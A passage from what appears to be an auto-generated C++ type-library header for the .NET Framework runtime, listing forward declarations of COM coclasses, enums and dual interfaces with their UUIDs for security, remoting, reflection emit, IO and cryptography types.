struct /* coclass */ PolicyStatement;
struct /* coclass */ Site;
struct /* coclass */ SiteMembershipCondition;
struct /* coclass */ StrongName;
struct /* coclass */ StrongNameMembershipCondition;
struct /* coclass */ UnionCodeGroup;
struct /* coclass */ Url;
struct /* coclass */ UrlMembershipCondition;
struct /* coclass */ Zone;
struct /* coclass */ ZoneMembershipCondition;
struct /* coclass */ GacInstalled;
struct /* coclass */ GacMembershipCondition;
struct /* coclass */ Hash;
struct /* coclass */ HashMembershipCondition;
struct /* coclass */ Publisher;
struct /* coclass */ PublisherMembershipCondition;
struct __declspec(uuid("f4205a87-4d46-303d-b1d9-5a99f7c90d30"))
/* dual interface */ IIdentity;
struct /* coclass */ ClaimsIdentity;
struct /* coclass */ GenericIdentity;
struct __declspec(uuid("4283ca6c-d291-3481-83c9-9554481fe888"))
/* dual interface */ IPrincipal;
struct /* coclass */ ClaimsPrincipal;
struct /* coclass */ GenericPrincipal;
enum PrincipalPolicy;
enum TokenAccessLevels;
enum WindowsAccountType;
enum TokenImpersonationLevel;
struct /* coclass */ WindowsIdentity;
struct /* coclass */ WindowsImpersonationContext;
enum WindowsBuiltInRole;
struct /* coclass */ WindowsPrincipal;
struct ArrayWithOffset;
struct /* coclass */ UnmanagedFunctionPointerAttribute;
struct /* coclass */ DispIdAttribute;
enum ComInterfaceType;
struct /* coclass */ InterfaceTypeAttribute;
struct /* coclass */ ComDefaultInterfaceAttribute;
enum ClassInterfaceType;
struct /* coclass */ ClassInterfaceAttribute;
struct /* coclass */ ComVisibleAttribute;
struct /* coclass */ TypeLibImportClassAttribute;
struct /* coclass */ LCIDConversionAttribute;
struct /* coclass */ ComRegisterFunctionAttribute;
struct /* coclass */ ComUnregisterFunctionAttribute;
struct /* coclass */ ProgIdAttribute;
struct /* coclass */ ImportedFromTypeLibAttribute;
enum IDispatchImplType;
struct /* coclass */ IDispatchImplAttribute;
struct /* coclass */ ComSourceInterfacesAttribute;
struct /* coclass */ ComConversionLossAttribute;
enum TypeLibTypeFlags;
enum TypeLibFuncFlags;
enum TypeLibVarFlags;
struct /* coclass */ TypeLibTypeAttribute;
struct /* coclass */ TypeLibFuncAttribute;
struct /* coclass */ TypeLibVarAttribute;
enum VarEnum;
enum UnmanagedType;
struct /* coclass */ MarshalAsAttribute;
struct /* coclass */ ComImportAttribute;
struct /* coclass */ GuidAttribute;
struct /* coclass */ PreserveSigAttribute;
struct /* coclass */ InAttribute;
struct /* coclass */ OutAttribute;
struct /* coclass */ OptionalAttribute;
struct /* coclass */ DllImportAttribute;
struct /* coclass */ StructLayoutAttribute;
struct /* coclass */ FieldOffsetAttribute;
struct /* coclass */ ComAliasNameAttribute;
struct /* coclass */ AutomationProxyAttribute;
struct /* coclass */ PrimaryInteropAssemblyAttribute;
struct /* coclass */ CoClassAttribute;
struct /* coclass */ ComEventInterfaceAttribute;
struct /* coclass */ TypeLibVersionAttribute;
struct /* coclass */ ComCompatibleVersionAttribute;
struct /* coclass */ BestFitMappingAttribute;
struct /* coclass */ DefaultCharSetAttribute;
struct /* coclass */ SetWin32ContextInIDispatchAttribute;
enum CallingConvention;
enum CharSet;
struct /* coclass */ ExternalException;
struct /* coclass */ COMException;
enum GCHandleType;
struct GCHandle;
struct HandleRef;
struct __declspec(uuid("601cd486-04bf-3213-9ea9-06ebe4351d74"))
/* dual interface */ ICustomMarshaler;
struct /* coclass */ InvalidOleVariantTypeException;
enum LayoutKind;
struct __declspec(uuid("f1c3bf76-c3e4-11d3-88e7-00902754c43a"))
/* interface */ ITypeLibImporterNotifySink;
struct /* coclass */ MarshalDirectiveException;
struct /* coclass */ RuntimeEnvironment;
struct /* coclass */ SEHException;
struct /* coclass */ BStrWrapper;
enum ComMemberType;
struct /* coclass */ CurrencyWrapper;
struct /* coclass */ DispatchWrapper;
struct /* coclass */ ErrorWrapper;
struct /* coclass */ ExtensibleClassFactory;
struct __declspec(uuid("3cc86595-feb5-3ce9-ba14-d05c8dc3321c"))
/* dual interface */ ICustomAdapter;
struct __declspec(uuid("0ca9008e-ee90-356e-9f6d-b59e6006b9a4"))
/* dual interface */ ICustomFactory;
struct /* coclass */ InvalidComObjectException;
enum AssemblyRegistrationFlags;
struct __declspec(uuid("ccbd682c-73a5-4568-b8b0-c7007e11aba2"))
/* dual interface */ IRegistrationServices;
enum TypeLibImporterFlags;
enum TypeLibExporterFlags;
enum ImporterEventKind;
enum ExporterEventKind;
struct __declspec(uuid("f1c3bf77-c3e4-11d3-88e7-00902754c43a"))
/* interface */ ITypeLibExporterNotifySink;
struct __declspec(uuid("f1c3bf78-c3e4-11d3-88e7-00902754c43a"))
/* interface */ ITypeLibConverter;
struct __declspec(uuid("fa1f3615-acb9-486d-9eac-1bef87e36b09"))
/* interface */ ITypeLibExporterNameProvider;
struct /* coclass */ ObjectCreationDelegate;
struct /* coclass */ RegistrationServices;
struct /* coclass */ SafeArrayRankMismatchException;
struct /* coclass */ SafeArrayTypeMismatchException;
struct /* coclass */ TypeLibConverter;
struct /* coclass */ UnknownWrapper;
struct __declspec(uuid("afbf15e6-c37c-11d2-b88e-00a0c9b471b8"))
/* dual interface */ IExpando;
struct /* coclass */ TextWriter;
struct /* coclass */ Stream;
struct /* coclass */ BinaryReader;
struct /* coclass */ BinaryWriter;
struct /* coclass */ BufferedStream;
struct /* coclass */ Directory;
struct /* coclass */ FileSystemInfo;
struct /* coclass */ DirectoryInfo;
enum SearchOption;
struct /* coclass */ IOException;
struct /* coclass */ DirectoryNotFoundException;
enum DriveType;
struct /* coclass */ DriveInfo;
struct /* coclass */ DriveNotFoundException;
struct /* coclass */ EndOfStreamException;
struct /* coclass */ File;
enum FileAccess;
struct /* coclass */ FileInfo;
struct /* coclass */ FileLoadException;
enum FileMode;
struct /* coclass */ FileNotFoundException;
enum FileOptions;
enum FileShare;
struct /* coclass */ FileStream;
enum FileAttributes;
struct /* coclass */ MemoryStream;
struct /* coclass */ Path;
struct /* coclass */ PathTooLongException;
enum SeekOrigin;
struct /* coclass */ TextReader;
struct /* coclass */ StreamReader;
struct /* coclass */ StreamWriter;
struct /* coclass */ StringReader;
struct /* coclass */ StringWriter;
struct /* coclass */ AccessedThroughPropertyAttribute;
struct /* coclass */ CallConvCdecl;
struct /* coclass */ CallConvStdcall;
struct /* coclass */ CallConvThiscall;
struct /* coclass */ CallConvFastcall;
struct /* coclass */ CustomConstantAttribute;
struct /* coclass */ DateTimeConstantAttribute;
struct /* coclass */ DiscardableAttribute;
struct /* coclass */ DecimalConstantAttribute;
enum CompilationRelaxations;
struct /* coclass */ CompilationRelaxationsAttribute;
struct /* coclass */ CompilerGlobalScopeAttribute;
struct /* coclass */ IndexerNameAttribute;
struct /* coclass */ IsVolatile;
enum MethodImplOptions;
enum MethodCodeType;
struct /* coclass */ MethodImplAttribute;
struct /* coclass */ RequiredAttributeAttribute;
struct /* coclass */ IsCopyConstructed;
struct /* coclass */ NativeCppClassAttribute;
struct /* coclass */ IDispatchConstantAttribute;
struct /* coclass */ IUnknownConstantAttribute;
struct /* coclass */ SecurityElement;
struct /* coclass */ XmlSyntaxException;
enum EnvironmentPermissionAccess;
struct __declspec(uuid("a19b3fc6-d680-3dd4-a17a-f58a7d481494"))
/* dual interface */ IPermission;
struct __declspec(uuid("60fc57b0-4a46-32a0-a5b4-b05b0de8e781"))
/* dual interface */ IStackWalk;
struct /* coclass */ CodeAccessPermission;
struct __declspec(uuid("0f1284e6-4399-3963-8ddd-a6a4904f66c8"))
/* dual interface */ IUnrestrictedPermission;
struct /* coclass */ EnvironmentPermission;
enum FileDialogPermissionAccess;
struct /* coclass */ FileDialogPermission;
enum FileIOPermissionAccess;
struct /* coclass */ FileIOPermission;
enum HostProtectionResource;
struct /* coclass */ SecurityAttribute;
struct /* coclass */ CodeAccessSecurityAttribute;
struct /* coclass */ HostProtectionAttribute;
enum IsolatedStorageContainment;
struct /* coclass */ IsolatedStoragePermission;
struct /* coclass */ IsolatedStorageFilePermission;
enum PermissionState;
enum SecurityAction;
struct /* coclass */ EnvironmentPermissionAttribute;
struct /* coclass */ FileDialogPermissionAttribute;
struct /* coclass */ FileIOPermissionAttribute;
struct /* coclass */ KeyContainerPermissionAttribute;
struct /* coclass */ PrincipalPermissionAttribute;
struct /* coclass */ ReflectionPermissionAttribute;
struct /* coclass */ RegistryPermissionAttribute;
struct /* coclass */ SecurityPermissionAttribute;
struct /* coclass */ UIPermissionAttribute;
struct /* coclass */ ZoneIdentityPermissionAttribute;
struct /* coclass */ StrongNameIdentityPermissionAttribute;
struct /* coclass */ SiteIdentityPermissionAttribute;
struct /* coclass */ UrlIdentityPermissionAttribute;
struct /* coclass */ PublisherIdentityPermissionAttribute;
struct /* coclass */ IsolatedStoragePermissionAttribute;
struct /* coclass */ IsolatedStorageFilePermissionAttribute;
struct /* coclass */ PermissionSetAttribute;
enum ReflectionPermissionFlag;
struct /* coclass */ ReflectionPermission;
struct /* coclass */ PrincipalPermission;
enum SecurityPermissionFlag;
struct /* coclass */ SecurityPermission;
struct /* coclass */ SiteIdentityPermission;
struct /* coclass */ StrongNameIdentityPermission;
struct /* coclass */ StrongNamePublicKeyBlob;
enum UIPermissionWindow;
enum UIPermissionClipboard;
struct /* coclass */ UIPermission;
struct /* coclass */ UrlIdentityPermission;
struct /* coclass */ ZoneIdentityPermission;
struct /* coclass */ GacIdentityPermissionAttribute;
struct /* coclass */ GacIdentityPermission;
enum KeyContainerPermissionFlags;
struct /* coclass */ KeyContainerPermissionAccessEntry;
struct /* coclass */ KeyContainerPermissionAccessEntryCollection;
struct /* coclass */ KeyContainerPermissionAccessEntryEnumerator;
struct /* coclass */ KeyContainerPermission;
struct /* coclass */ PublisherIdentityPermission;
enum RegistryPermissionAccess;
struct /* coclass */ RegistryPermission;
struct /* coclass */ SuppressUnmanagedCodeSecurityAttribute;
struct /* coclass */ UnverifiableCodeAttribute;
struct /* coclass */ AllowPartiallyTrustedCallersAttribute;
enum HostSecurityManagerOptions;
struct /* coclass */ HostSecurityManager;
struct /* coclass */ PermissionSet;
struct /* coclass */ NamedPermissionSet;
struct /* coclass */ SecurityException;
struct /* coclass */ HostProtectionException;
enum PolicyLevelType;
struct /* coclass */ SecurityManager;
enum SecurityZone;
struct /* coclass */ VerificationException;
struct __declspec(uuid("4a68baa3-27aa-314a-bdbb-6ae9bdfc0420"))
/* dual interface */ IContextAttribute;
struct __declspec(uuid("f01d896d-8d5f-3235-be59-20e1e10dc22a"))
/* dual interface */ IContextProperty;
struct /* coclass */ ContextAttribute;
struct __declspec(uuid("c02bbb79-5aa8-390d-927f-717b7bff06a1"))
/* dual interface */ IActivator;
struct __declspec(uuid("941f8aaa-a353-3b1d-a019-12e44377f1cd"))
/* dual interface */ IMessageSink;
struct /* coclass */ AsyncResult;
struct /* coclass */ ChannelServices;
struct __declspec(uuid("3afab213-f5a2-3241-93ba-329ea4ba8016"))
/* dual interface */ IClientResponseChannelSinkStack;
struct __declspec(uuid("3a5fde6b-db46-34e8-bacd-16ea5a440540"))
/* dual interface */ IClientChannelSinkStack;
struct /* coclass */ ClientChannelSinkStack;
struct __declspec(uuid("9be679a6-61fd-38fc-a7b2-89982d33338b"))
/* dual interface */ IServerResponseChannelSinkStack;
struct __declspec(uuid("e694a733-768d-314d-b317-dcead136b11d"))
/* dual interface */ IServerChannelSinkStack;
struct /* coclass */ ServerChannelSinkStack;
struct __declspec(uuid("675591af-0508-3131-a7cc-287d265ca7d6"))
/* dual interface */ ISponsor;
struct /* coclass */ ClientSponsor;
enum WellKnownObjectMode;
struct /* coclass */ CrossContextDelegate;
struct /* coclass */ Context;
struct /* coclass */ ContextProperty;
struct __declspec(uuid("7197b56b-5fa1-31ef-b38b-62fee737277f"))
/* dual interface */ IContextPropertyActivator;
struct __declspec(uuid("563581e8-c86d-39e2-b2e8-6c23f7987a4b"))
/* dual interface */ IChannel;
struct __declspec(uuid("10f1d605-e201-3145-b7ae-3ad746701986"))
/* dual interface */ IChannelSender;
struct __declspec(uuid("48ad41da-0872-31da-9887-f81f213527e6"))
/* dual interface */ IChannelReceiver;
struct __declspec(uuid("7dd6e975-24ea-323c-a98c-0fde96f9c4e6"))
/* dual interface */ IServerChannelSinkProvider;
struct __declspec(uuid("308de042-acc8-32f8-b632-7cb9799d9aa6"))
/* dual interface */ IChannelSinkBase;
struct __declspec(uuid("21b5f37b-bef3-354c-8f84-0f9f0863f5c5"))
/* dual interface */ IServerChannelSink;
struct /* coclass */ EnterpriseServicesHelper;
enum ActivatorLevel;
struct __declspec(uuid("1a8b0de6-b825-38c5-b744-8f93075fd6fa"))
/* dual interface */ IMessage;
struct __declspec(uuid("8e5e0b95-750e-310d-892c-8ca7231cf75b"))
/* dual interface */ IMethodMessage;
struct __declspec(uuid("b90efaa6-25e4-33d2-aca3-94bf74dc4ab9"))
/* dual interface */ IMethodCallMessage;
struct __declspec(uuid("fa28e3af-7d09-31d5-beeb-7f2626497cde"))
/* dual interface */ IConstructionCallMessage;
struct __declspec(uuid("f617690a-55f4-36af-9149-d199831f8594"))
/* dual interface */ IMethodReturnMessage;
struct __declspec(uuid("ca0ab564-f5e9-3a7f-a80b-eb0aeefa44e9"))
/* dual interface */ IConstructionReturnMessage;
struct __declspec(uuid("3a02d3f7-3f40-3022-853d-cfda765182fe"))
/* dual interface */ IChannelReceiverHook;
struct __declspec(uuid("3f8742c2-ac57-3440-a283-fe5ff4c75025"))
/* dual interface */ IClientChannelSinkProvider;
struct __declspec(uuid("6d94b6f3-da91-3c2f-b876-083769667468"))
/* dual interface */ IClientFormatterSinkProvider;
struct __declspec(uuid("042b5200-4317-3e4d-b653-7e9a08f1a5f2"))
/* dual interface */ IServerFormatterSinkProvider;
struct __declspec(uuid("ff726320-6b92-3e6c-aaac-f97063d0b142"))
/* dual interface */ IClientChannelSink;
enum ServerProcessing;
struct __declspec(uuid("46527c03-b144-3cf0-86b3-b8776148a6e9"))
/* dual interface */ IClientFormatterSink;
struct __declspec(uuid("1e250ccd-dc30-3217-a7e4-148f375a0088"))
/* dual interface */ IChannelDataStore;
struct /* coclass */ ChannelDataStore;
struct __declspec(uuid("1ac82fbe-4ff0-383c-bbfd-fe40ecb3628d"))
/* dual interface */ ITransportHeaders;
struct /* coclass */ TransportHeaders;
struct /* coclass */ SinkProviderData;
struct /* coclass */ BaseChannelObjectWithProperties;
struct /* coclass */ BaseChannelSinkWithProperties;
struct /* coclass */ BaseChannelWithProperties;
struct __declspec(uuid("4db956b7-69d0-312a-aa75-44fb55fd5d4b"))
/* dual interface */ IContributeClientContextSink;
struct __declspec(uuid("a0fe9b86-0c06-32ce-85fa-2ff1b58697fb"))
/* dual interface */ IContributeDynamicSink;
struct __declspec(uuid("124777b6-0308-3569-97e5-e6fe88eae4eb"))
/* dual interface */ IContributeEnvoySink;
struct __declspec(uuid("6a5d38bc-2789-3546-81a1-f10c0fb59366"))
/* dual interface */ IContributeObjectSink;
struct __declspec(uuid("0caa23ec-f78c-39c9-8d25-b7a9ce4097a7"))
/* dual interface */ IContributeServerContextSink;
struct __declspec(uuid("00a358d4-4d58-3b9d-8fb6-fb7f6bc1713b"))
/* dual interface */ IDynamicProperty;
struct __declspec(uuid("c74076bb-8a2d-3c20-a542-625329e9af04"))
/* dual interface */ IDynamicMessageSink;
struct __declspec(uuid("53a561f2-cbbf-3748-bffe-2180002db3df"))
/* dual interface */ ILease;
struct __declspec(uuid("3677cbb0-784d-3c15-bbc8-75cd7dc3901e"))
/* dual interface */ IMessageCtrl;
struct __declspec(uuid("ae1850fd-3596-3727-a242-2fc31c5a0312"))
/* dual interface */ IRemotingFormatter;
enum LeaseState;
struct /* coclass */ LifetimeServices;
struct /* coclass */ ReturnMessage;
struct /* coclass */ MethodCall;
struct /* coclass */ ConstructionCall;
struct /* coclass */ MethodResponse;
struct __declspec(uuid("cc18fd4d-aa2d-3ab4-9848-584bbae4ab44"))
/* dual interface */ IFieldInfo;
struct /* coclass */ ConstructionResponse;
struct /* coclass */ InternalMessageWrapper;
struct /* coclass */ MethodCallMessageWrapper;
struct /* coclass */ MethodReturnMessageWrapper;
struct __declspec(uuid("c09effa9-1ffe-3a52-a733-6236cbc45e7b"))
/* dual interface */ IRemotingTypeInfo;
struct __declspec(uuid("855e6566-014a-3fe8-aa70-1eac771e3a88"))
/* dual interface */ IChannelInfo;
struct __declspec(uuid("2a6e91b9-a874-38e4-99c2-c5d83d78140d"))
/* dual interface */ IEnvoyInfo;
struct /* coclass */ ObjRef;
struct /* coclass */ OneWayAttribute;
struct /* coclass */ ProxyAttribute;
struct /* coclass */ RealProxy;
enum SoapOption;
enum XmlFieldOrderOption;
struct /* coclass */ SoapAttribute;
struct /* coclass */ SoapTypeAttribute;
struct /* coclass */ SoapMethodAttribute;
struct /* coclass */ SoapFieldAttribute;
struct /* coclass */ SoapParameterAttribute;
struct /* coclass */ RemotingConfiguration;
struct /* coclass */ TypeEntry;
struct /* coclass */ ActivatedClientTypeEntry;
struct /* coclass */ ActivatedServiceTypeEntry;
struct /* coclass */ WellKnownClientTypeEntry;
struct /* coclass */ WellKnownServiceTypeEntry;
enum CustomErrorsModes;
struct /* coclass */ RemotingException;
struct /* coclass */ ServerException;
struct /* coclass */ RemotingTimeoutException;
struct /* coclass */ RemotingServices;
struct /* coclass */ InternalRemotingServices;
struct /* coclass */ MessageSurrogateFilter;
struct /* coclass */ RemotingSurrogateSelector;
struct /* coclass */ SoapServices;
struct __declspec(uuid("80031d2a-ad59-3fb4-97f3-b864d71da86b"))
/* dual interface */ ISoapXsd;
struct /* coclass */ SoapDateTime;
struct /* coclass */ SoapDuration;
struct /* coclass */ SoapTime;
struct /* coclass */ SoapDate;
struct /* coclass */ SoapYearMonth;
struct /* coclass */ SoapYear;
struct /* coclass */ SoapMonthDay;
struct /* coclass */ SoapDay;
struct /* coclass */ SoapMonth;
struct /* coclass */ SoapHexBinary;
struct /* coclass */ SoapBase64Binary;
struct /* coclass */ SoapInteger;
struct /* coclass */ SoapPositiveInteger;
struct /* coclass */ SoapNonPositiveInteger;
struct /* coclass */ SoapNonNegativeInteger;
struct /* coclass */ SoapNegativeInteger;
struct /* coclass */ SoapAnyUri;
struct /* coclass */ SoapQName;
struct /* coclass */ SoapNotation;
struct /* coclass */ SoapNormalizedString;
struct /* coclass */ SoapToken;
struct /* coclass */ SoapLanguage;
struct /* coclass */ SoapName;
struct /* coclass */ SoapIdrefs;
struct /* coclass */ SoapEntities;
struct /* coclass */ SoapNmtoken;
struct /* coclass */ SoapNmtokens;
struct /* coclass */ SoapNcName;
struct /* coclass */ SoapId;
struct /* coclass */ SoapIdref;
struct /* coclass */ SoapEntity;
struct /* coclass */ SynchronizationAttribute;
struct __declspec(uuid("03ec7d10-17a5-3585-9a2e-0596fcac3870"))
/* dual interface */ ITrackingHandler;
struct /* coclass */ TrackingServices;
struct /* coclass */ UrlAttribute;
struct /* coclass */ Header;
struct /* coclass */ HeaderHandler;
struct /* coclass */ CallContext;
struct __declspec(uuid("4d125449-ba27-3927-8589-3e1b34b622e5"))
/* dual interface */ ILogicalThreadAffinative;
struct /* coclass */ LogicalCallContext;
struct /* coclass */ ObjectHandle;
enum IsolatedStorageScope;
struct /* coclass */ IsolatedStorage;
struct /* coclass */ IsolatedStorageFileStream;
struct /* coclass */ IsolatedStorageException;
struct __declspec(uuid("f5006531-d4d7-319e-9eda-9b4b65ad8d4f"))
/* dual interface */ INormalizeForIsolatedStorage;
struct /* coclass */ IsolatedStorageFile;
enum FormatterTypeStyle;
enum FormatterAssemblyStyle;
enum TypeFilterLevel;
struct __declspec(uuid("e699146c-7793-3455-9bef-964c90d8f995"))
/* dual interface */ ISoapMessage;
struct /* coclass */ InternalRM;
struct /* coclass */ InternalST;
struct /* coclass */ SoapMessage;
struct /* coclass */ SoapFault;
struct /* coclass */ ServerFault;
struct /* coclass */ BinaryFormatter;
struct __declspec(uuid("bebb2505-8b54-3443-aead-142a16dd9cc7"))
/* interface */ _AssemblyBuilder;
struct /* coclass */ AssemblyBuilder;
enum AssemblyBuilderAccess;
struct __declspec(uuid("ed3e4384-d7e2-3fa7-8ffd-8940d330519a"))
/* interface */ _ConstructorBuilder;
struct __declspec(uuid("be9acce8-aaff-3b91-81ae-8211663f5cad"))
/* interface */ _CustomAttributeBuilder;
struct __declspec(uuid("c7bd73de-9f85-3290-88ee-090b8bdfe2df"))
/* interface */ _EnumBuilder;
struct __declspec(uuid("aadaba99-895d-3d65-9760-b1f12621fae8"))
/* interface */ _EventBuilder;
struct __declspec(uuid("ce1a3bf5-975e-30cc-97c9-1ef70f8f3993"))
/* interface */ _FieldBuilder;
struct __declspec(uuid("a4924b27-6e3b-37f7-9b83-a4501955e6a7"))
/* interface */ _ILGenerator;
struct __declspec(uuid("4e6350d1-a08b-3dec-9a3e-c465f9aeec0c"))
/* interface */ _LocalBuilder;
struct __declspec(uuid("007d8a14-fdf3-363e-9a0b-fec0618260a2"))
/* interface */ _MethodBuilder;
struct __declspec(uuid("c2323c25-f57f-3880-8a4d-12ebea7a5852"))
/* interface */ _MethodRental;
struct __declspec(uuid("d05ffa9a-04af-3519-8ee1-8d93ad73430b"))
/* interface */ _ModuleBuilder;
struct __declspec(uuid("36329eba-f97a-3565-bc07-0ed5c6ef19fc"))
/* interface */ _ParameterBuilder;
struct __declspec(uuid("15f9a479-9397-3a63-acbd-f51977fb0f02"))
/* interface */ _PropertyBuilder;
struct __declspec(uuid("7d13dd37-5a04-393c-bbca-a5fea802893d"))
/* interface */ _SignatureHelper;
struct __declspec(uuid("7e5678ee-48b3-3f83-b076-c58543498a58"))
/* interface */ _TypeBuilder;
struct /* coclass */ ConstructorBuilder;
struct /* coclass */ ILGenerator;
struct /* coclass */ DynamicILInfo;
struct /* coclass */ DynamicMethod;
struct /* coclass */ EventBuilder;
struct EventToken;
struct /* coclass */ FieldBuilder;
struct FieldToken;
struct Label;
struct /* coclass */ LocalBuilder;
struct /* coclass */ MethodBuilder;
struct /* coclass */ CustomAttributeBuilder;
struct /* coclass */ MethodRental;
struct MethodToken;
struct /* coclass */ ModuleBuilder;
enum PEFileKinds;
struct /* coclass */ OpCodes;
struct OpCode;
enum OpCodeType;
enum StackBehaviour;
enum OperandType;
enum FlowControl;
struct /* coclass */ ParameterBuilder;
struct ParameterToken;
struct /* coclass */ PropertyBuilder;
struct PropertyToken;
struct /* coclass */ SignatureHelper;
struct SignatureToken;
struct StringToken;
enum PackingSize;
struct /* coclass */ TypeBuilder;
struct /* coclass */ GenericTypeParameterBuilder;
struct /* coclass */ EnumBuilder;
struct TypeToken;
struct /* coclass */ UnmanagedMarshal;
struct AssemblyHash;
enum AssemblyHashAlgorithm;
enum AssemblyVersionCompatibility;
enum CipherMode;
enum PaddingMode;
struct /* coclass */ KeySizes;
struct /* coclass */ CryptographicException;
struct /* coclass */ CryptographicUnexpectedOperationException;
struct __declspec(uuid("8abad867-f515-3cf6-bb62-5f0c88b3bb11"))
/* dual interface */ ICryptoTransform;
struct /* coclass */ RandomNumberGenerator;
struct /* coclass */ RNGCryptoServiceProvider;
struct /* coclass */ SymmetricAlgorithm;
struct /* coclass */ AsymmetricAlgorithm;
struct /* coclass */ AsymmetricKeyExchangeDeformatter;
struct /* coclass */ AsymmetricKeyExchangeFormatter;
struct /* coclass */ AsymmetricSignatureDeformatter;
struct /* coclass */ AsymmetricSignatureFormatter;
enum FromBase64TransformMode;
struct /* coclass */ ToBase64Transform;
struct /* coclass */ FromBase64Transform;
struct /* coclass */ CryptoAPITransform;
enum CspProviderFlags;
struct /* coclass */ CspParameters;
struct /* coclass */ CryptoConfig;
enum CryptoStreamMode;
struct /* coclass */ CryptoStream;
struct /* coclass */ DES;
struct /* coclass */ DESCryptoServiceProvider;
struct /* coclass */ DeriveBytes;
struct DSAParameters;
struct /* coclass */ DSA;
struct __declspec(uuid("494a7583-190e-3693-9ec4-de54dc6a84a2"))
/* dual interface */ ICspAsymmetricAlgorithm;
struct /* coclass */ DSACryptoServiceProvider;
struct /* coclass */ DSASignatureDeformatter;
struct /* coclass */ DSASignatureFormatter;
struct /* coclass */ HashAlgorithm;
struct /* coclass */ KeyedHashAlgorithm;
struct /* coclass */ HMAC;
struct /* coclass */ HMACMD5;
struct /* coclass */ HMACRIPEMD160;
struct /* coclass */ HMACSHA1;
struct /* coclass */ HMACSHA256;
struct /* coclass */ HMACSHA384;
struct /* coclass */ HMACSHA512;
enum KeyNumber;
struct /* coclass */ CspKeyContainerInfo;
struct /* coclass */ MACTripleDES;
struct /* coclass */ MD5;
struct /* coclass */ MD5CryptoServiceProvider;
struct /* coclass */ MaskGenerationMethod;
struct /* coclass */ PasswordDeriveBytes;
struct /* coclass */ PKCS1MaskGenerationMethod;
struct /* coclass */ RC2;
struct /* coclass */ RC2CryptoServiceProvider;
struct /* coclass */ Rfc2898DeriveBytes;
struct /* coclass */ RIPEMD160;
struct /* coclass */ RIPEMD160Managed;
struct RSAParameters;
struct /* coclass */ RSA;
struct /* coclass */ RSACryptoServiceProvider;
struct /* coclass */ RSAOAEPKeyExchangeDeformatter;
struct /* coclass */ RSAOAEPKeyExchangeFormatter;
struct /* coclass */ RSAPKCS1KeyExchangeDeformatter;
struct /* coclass */ RSAPKCS1KeyExchangeFormatter;
struct /* coclass */ RSAPKCS1SignatureDeformatter;
struct /* coclass */ RSAPKCS1SignatureFormatter;
struct /* coclass */ Rijndael;
struct /* coclass */ RijndaelManaged;
struct /* coclass */ RijndaelManagedTransform;
struct /* coclass */ SHA1;
struct /* coclass */ SHA1CryptoServiceProvider;
struct /* coclass */ SHA1Managed;
struct /* coclass */ SHA256;
struct /* coclass */ SHA256Managed;
struct /* coclass */ SHA384;
struct /* coclass */ SHA384Managed;
struct /* coclass */ SHA512;
struct /* coclass */ SHA512Managed;
struct /* coclass */ SignatureDescription;
struct /* coclass */ TripleDES;
struct /* coclass */ TripleDESCryptoServiceProvider;
enum X509ContentType;
enum X509KeyStorageFlags;
struct /* coclass */ X509Certificate;
enum SpecialFolder;
enum DebuggingModes;
struct __declspec(uuid("65074f7f-63c0-304e-af0a-d51741cb4a8d"))
/* dual interface */ _Object;
struct __declspec(uuid("139e041d-0e41-39f5-a302-c4387e9d0a6c"))
/* dual interface */ _ValueType;
struct __declspec(uuid("d09d1e04-d590-39a3-b517-b734a49a9277"))
/* dual interface */ _Enum;
struct __declspec(uuid("fb6ab00f-5096-3af8-a33d-d7885a5fa829"))
/* dual interface */ _Delegate;
struct __declspec(uuid("16fe0885-9129-3884-a232-90b58c5b2aa9"))
/* dual interface */ _MulticastDelegate;
struct __declspec(uuid("2b67cece-71c3-36a9-a136-925ccc1935a8"))
/* dual interface */ _Array;
struct __declspec(uuid("36936699-fc79-324d-ab43-e33c1f94e263"))
/* dual interface */ _String;
struct __declspec(uuid("7499e7e8-df01-3948-b8d4-fa4b9661d36b"))
/* dual interface */ _StringComparer;
struct __declspec(uuid("9fb09782-8d39-3b0c-b79e-f7a37a65b3da"))
/* dual interface */ _StringBuilder;
struct __declspec(uuid("4c482cc2-68e9-37c6-8353-9a94bd2d7f0b"))
/* dual interface */ _SystemException;
struct __declspec(uuid("cf3edb7e-0574-3383-a44f-292f7c145db4"))
/* dual interface */ _OutOfMemoryException;
struct __declspec(uuid("9cf4339a-2911-3b8a-8f30-e5c6b5be9a29"))
/* dual interface */ _StackOverflowException;
struct __declspec(uuid("152a6b4d-09af-3edf-8cba-11797eeeea4e"))
/* dual interface */ _DataMisalignedException;
struct __declspec(uuid("ccf0139c-79f7-3d0a-affe-2b0762c65b07"))
/* dual interface */ _ExecutionEngineException;
struct __declspec(uuid("7eaba4e2-1259-3cf2-b084-9854278e5897"))
/* dual interface */ _MemberAccessException;
struct __declspec(uuid("13ef674a-6327-3caf-8772-fa0395612669"))
/* dual interface */ _AccessViolationException;
struct __declspec(uuid("d1204423-01f0-336a-8911-a7e8fbe185a3"))
/* dual interface */ _ApplicationActivator;
struct __declspec(uuid("d81130bf-d627-3b91-a7c7-cea597093464"))
/* dual interface */ _ApplicationException;
struct __declspec(uuid("1f9ec719-343a-3cb3-8040-3927626777c1"))
/* dual interface */ _EventArgs;
struct __declspec(uuid("98947cf0-77e7-328e-b709-5dd1aa1c9c96"))
/* dual interface */ _ResolveEventArgs;
struct __declspec(uuid("7a0325f0-22c2-31f9-8823-9b8aee9456b1"))
/* dual interface */ _AssemblyLoadEventArgs;
struct __declspec(uuid("8e54a9cc-7aa4-34ca-985b-bd7d7527b110"))
/* dual interface */ _ResolveEventHandler;
struct __declspec(uuid("deece11f-a893-3e35-a4c3-dab7fa0911eb"))
/* dual interface */ _AssemblyLoadEventHandler;
struct __declspec(uuid("5e6f9edb-3ce1-3a56-86d9-cd2ddf7a6fff"))
/* dual interface */ _AppDomainInitializer;
struct __declspec(uuid("2c358e27-8c1a-3c03-b086-a40465625557"))
/* dual interface */ _MarshalByRefObject;
struct __declspec(uuid("af93163f-c2f4-3fab-9ff1-728a7aaad1cb"))
/* dual interface */ _CrossAppDomainDelegate;
struct __declspec(uuid("63e53e04-d31b-3099-9f0c-c7a1c883c1d9"))
/* dual interface */ _AppDomainManager;
struct __declspec(uuid("ce59d7ad-05ca-33b4-a1dd-06028d46e9d2"))
/* dual interface */ _LoaderOptimizationAttribute;
struct __declspec(uuid("6e96aa70-9ffb-399d-96bf-a68436095c54"))
/* dual interface */ _AppDomainUnloadedException;
struct __declspec(uuid("f4b8d231-6028-39ef-b017-72988a3f6766"))
/* dual interface */ _EvidenceBase;
struct __declspec(uuid("cfd9ca27-f0ba-388a-acde-b7e20fcad79c"))
/* dual interface */ _ActivationArguments;
struct __declspec(uuid("2f218f95-4215-3cc6-8a51-bd2770c090e4"))
